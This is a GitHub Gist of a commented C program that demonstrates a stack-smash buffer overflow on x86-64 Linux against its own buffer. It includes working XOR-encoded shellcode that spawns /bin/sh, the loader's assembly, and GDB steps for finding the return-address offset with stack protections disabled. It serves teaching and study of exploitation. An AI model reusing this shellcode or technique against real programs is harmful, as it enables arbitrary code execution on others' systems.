Last active
May 12, 2016 03:27
-
-
Save logiconcepts819/c71c8afb6eb248e267737ac56d5f5258 to your computer and use it in GitHub Desktop.
An example of a stack smash buffer overflow on an x86-64 Linux OS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * An example of a stack smash buffer overflow on an x86-64 Linux OS | |
| * Author: Ronald Joseph Wright | |
| * | |
| * Recommended build command (after exploit is working): | |
| * | |
| * gcc -O0 -zexecstack -fno-stack-protector -o stack-smash stack-smash.c | |
| **/ | |
| #include <stdint.h> | |
| #include <string.h> | |
| /** | |
| * 76-byte long shellcode that executes a new shell. The first 23 bytes are | |
| * 64-bit instructions that XOR the remaining 53 bytes of the actual | |
| * XOR-encoded shellcode to be executed. (An XOR loader is necessary, since the | |
| * unencoded shellcode contains null characters, which strcpy would interpret | |
| * as null-termination characters if the unencoded shellcode were used | |
| * directly.) | |
| * | |
| * Here is the assembly code for the 64-bit XOR loader (based off of the 32-bit | |
| * XOR loader from ShellForge, valid for shellcode sizes less than 256 bytes | |
| * only): | |
| * | |
| * .text | |
| * .align 8 | |
| * .globl main | |
| * .type main,@function | |
| * | |
| * main: | |
| * jmp .l2 | |
| * .l1: | |
| * pop %rsi | |
| * xorq %rcx, %rcx | |
| * movb LENGTH, %cl | |
| * .loop: | |
| * xorb XORKEY, (%rsi) | |
| * incq %rsi | |
| * loop .loop | |
| * jmp .l3 | |
| * .l2: | |
| * call .l1 | |
| * .l3: | |
| * #SHELLCODE HERE | |
| * | |
| * The above code assembles into | |
| * | |
| * "\xeb\x10\x5e\x48\x31\xc9\xb1" LENGTH "\x80\x36" XORKEY | |
| * "\x48\xff\xc6\xe2\xf8\xeb\x05\xe8\xeb\xff\xff\xff" | |
| * | |
| * In this case, XORKEY is set to "\x40" (or 0x40), and LENGTH is set to "\x35" | |
| * (or 53). Everything that follows is the shellcode whose bytes were xor'd | |
| * with XORKEY. | |
| * | |
| * The NASM assembly code corresponding to the XOR-encoded shellcode is as | |
| * follows: | |
| * | |
| * global _start | |
| * _start: | |
| * push 0 ; ensure string is null-terminated | |
| * mov rax, 68732f2f6e69622fh ; "/bin//sh" | |
| * push rax ; push "/bin//sh" onto stack | |
| * mov rbx, rsp ; pointer to "/bin//sh\0" | |
| * push 0 ; push NULL onto stack | |
| * push rbx ; push pointer to "/bin//sh\0" onto stack | |
| * mov rdx, 0h ; NULL | |
| * mov rsi, rsp ; pointer to {pointer to "/bin//sh\0", NULL} | |
| * mov rdi, rbx ; pointer to "/bin//sh\0" | |
| * mov rax, 59 ; system call number (sys_execve) | |
| * syscall | |
| * add rsp, 32 ; restore the stack pointer | |
| * mov rdi, 0 ; successful exit status code | |
| * mov rax, 60 ; system call number (sys_exit) | |
| * syscall | |
| * | |
| * The above code assembles into | |
| * | |
| * "\x6a\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe3\x6a\x00" | |
| * "\x53\xba\x00\x00\x00\x00\x48\x89\xe6\x48\x89\xdf\xb8\x3b\x00\x00\x00\x0f" | |
| * "\x05\x48\x83\xc4\x20\xbf\x00\x00\x00\x00\xb8\x3c\x00\x00\x00\x0f\x05" | |
| * | |
| * Xor'ing this using XORKEY of 0x40 results in the following byte string: | |
| * | |
| * "\x2a\x40\x08\xf8\x6f\x22\x29\x2e\x6f\x6f\x33\x28\x10\x08\xc9\xa3\x2a\x40" | |
| * "\x13\xfa\x40\x40\x40\x40\x08\xc9\xa6\x08\xc9\x9f\xf8\x7b\x40\x40\x40\x4f" | |
| * "\x45\x08\xc3\x84\x60\xff\x40\x40\x40\x40\xf8\x7c\x40\x40\x40\x4f\x45" | |
| * | |
| * Concatenating the XOR loader and the above byte string together results in | |
| * the shellcode in the assignment shown below. | |
| **/ | |
| char shellcode[] = "\xeb\x10\x5e\x48\x31\xc9\xb1\x35\x80\x36\x40\x48\xff\xc6" | |
| "\xe2\xf8\xeb\x05\xe8\xeb\xff\xff\xff\x2a\x40\x08\xf8\x6f" | |
| "\x22\x29\x2e\x6f\x6f\x33\x28\x10\x08\xc9\xa3\x2a\x40\x13" | |
| "\xfa\x40\x40\x40\x40\x08\xc9\xa6\x08\xc9\x9f\xf8\x7b\x40" | |
| "\x40\x40\x4f\x45\x08\xc3\x84\x60\xff\x40\x40\x40\x40\xf8" | |
| "\x7c\x40\x40\x40\x4f\x45"; | |
| /** Size of the shellcode (should be 76) **/ | |
| #define SHELLCODE_SIZE (sizeof(shellcode) - 1) | |
| /** | |
| * The size of the buffer on main's stack. As a rule of thumb, it should be an | |
| * integer that is both divisible by 8 and greater than or equal to the size of | |
| * the shellcode. I have this value set to the smallest integer that satisfies | |
| * that rule of thumb (i.e., 8 * ceil((shellcode size) / 8) = 80). | |
| **/ | |
| #define BUFFER_SIZE (8 * ((SHELLCODE_SIZE + 7) / 8)) | |
| /** | |
| * SHELLCODE_ADDR_OFFSET is the offset from the start of the shellcode on the | |
| * stack to the return address of the caller, which is to be set to the address | |
| * of the shellcode on the stack. YMMV, so please use GDB to change this | |
| * parameter if you get a segfault instead of a new shell. Essentially, you are | |
| * looking for the difference between the rsp from the start of the shellcode | |
| * (after strcpy and before the return) to rsp at the segfault (after the | |
| * return). If you get neither a segfault nor a new shell, the define value is | |
| * most likely too small, and you will need to set it to some larger integer | |
| * and then use GDB as necessary to change this parameter. It should be noted | |
| * that this exploit will most likely not work if the 80-byte buffer on main's | |
| * stack has an address of less than 0x100000000000. | |
| * | |
| * Here are instructions on finding the right value for | |
| * SHELLCODE_ADDR_OFFSET (based on a write-up from | |
| * https://www.exploit-db.com/docs/33698.pdf): | |
| * | |
| * 1) Run: | |
| * | |
| * gcc -g3 -O0 -zexecstack -fno-stack-protector -o stack-smash stack-smash.c | |
| * | |
| * and then run | |
| * | |
| * gdb ./stack-smash | |
| * | |
| * 2) Set a breakpoint at the line corresponding to "return 0;". | |
| * 3) Run the program by typing r and then the enter key. | |
| * 4) Run the following command: | |
| * | |
| * x/20xg $rsp | |
| * | |
| * Find the memory location corresponding to the beginning of the shellcode | |
| * (in this case, the memory location corresponding to the value | |
| * 0xb1c931485e9011eb) and write it down. | |
| * 5) Continue execution by typing c and then the enter key. If the define | |
| * value in the corresponding source is not set correctly for the current | |
| * machine (and is large enough), you should get a segfault. | |
| * 6) Run the following command: | |
| * | |
| * i r | |
| * | |
| * and find and write down the value of the rsp register. Take the | |
| * difference of the two values that you wrote down, and set the | |
| * SHELLCODE_ADDR_OFFSET value in this source file to this difference. | |
| * 7) Exit gdb, recompile, and try it out! (If you still get segfaults, then | |
| * perhaps the 80-byte buffer on main's stack isn't large enough to fit the | |
| * shellcode, in which case the shellcode is clobbering the region on the | |
| * overflow buffer where the shellcode address is supposed to be. In that | |
| * case, try increasing the size of the buffer to some other integer | |
| * divisible by 8 and repeat all of the above steps.) | |
| * | |
| * After finding the right size for the exploit, it is recommended that no | |
| * optimization flags are specified when you make further builds of this | |
| * program (or you could just use -O0). | |
| * | |
| * On an x86-64 Linux OS, the stack layout would look like this: | |
| * | |
| * +----------------------------+ | |
| * | buffer[ 7.. 0] | . | |
| * +----------------------------+ /|\ | |
| * | ... | | | |
| * +----------------------------+ | | |
| * | buffer[79..72] | | | |
| * +----------------------------+ | |
| * | caller's rbp saved by main | CALLEE (i.e., main) | |
| * +----------------------------+------------------------- | |
| * | return address | CALLER/CALLEE INTERFACE | |
| * +----------------------------+------------------------- | |
| * | ... | CALLER | |
| * +----------------------------+ | |
| * | |
| * The objective is to store the address of our shellcode into the memory | |
| * location corresponding to the return address, which is originally set to the | |
| * address of the instruction following the call in the caller. To do that in a | |
| * buffer overflow, we store it at an offset (from the start of the buffer) | |
| * equal to the size of the caller's rbp saved by main (which is 8) plus the | |
| * buffer size. By changing the return address, we end up executing shellcode | |
| * instead of whatever comes after the system's call to main. As an example, | |
| * for our 80-byte buffer stored on main's stack, we would need to store the | |
| * shellcode address at 80 + 8 = 88 bytes past the start of the payload. | |
| **/ | |
| #define SHELLCODE_ADDR_OFFSET (BUFFER_SIZE + sizeof(intptr_t)) | |
| /** | |
| * The size of our payload, which, in this case, adds up to 80 + 8 + 8 = 96 | |
| * bytes | |
| **/ | |
| #define PAYLOAD_SIZE (SHELLCODE_ADDR_OFFSET + sizeof(intptr_t)) | |
| /** | |
| * The payload slightly longer than the 96-byte buffer on main's stack that | |
| * contains our shellcode | |
| **/ | |
| char payload[PAYLOAD_SIZE + 1]; | |
| int main(void) | |
| { | |
| /* The buffer to overflow */ | |
| char buffer[BUFFER_SIZE]; | |
| /* Set up exploit */ | |
| memset(payload, 'A', PAYLOAD_SIZE); | |
| payload[PAYLOAD_SIZE] = '\0'; | |
| * (intptr_t *) (payload + PAYLOAD_SIZE - sizeof(intptr_t)) = | |
| (intptr_t) buffer; | |
| memcpy(payload, shellcode, strlen(shellcode)); | |
| /* Execute exploit */ | |
| strcpy(buffer, payload); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment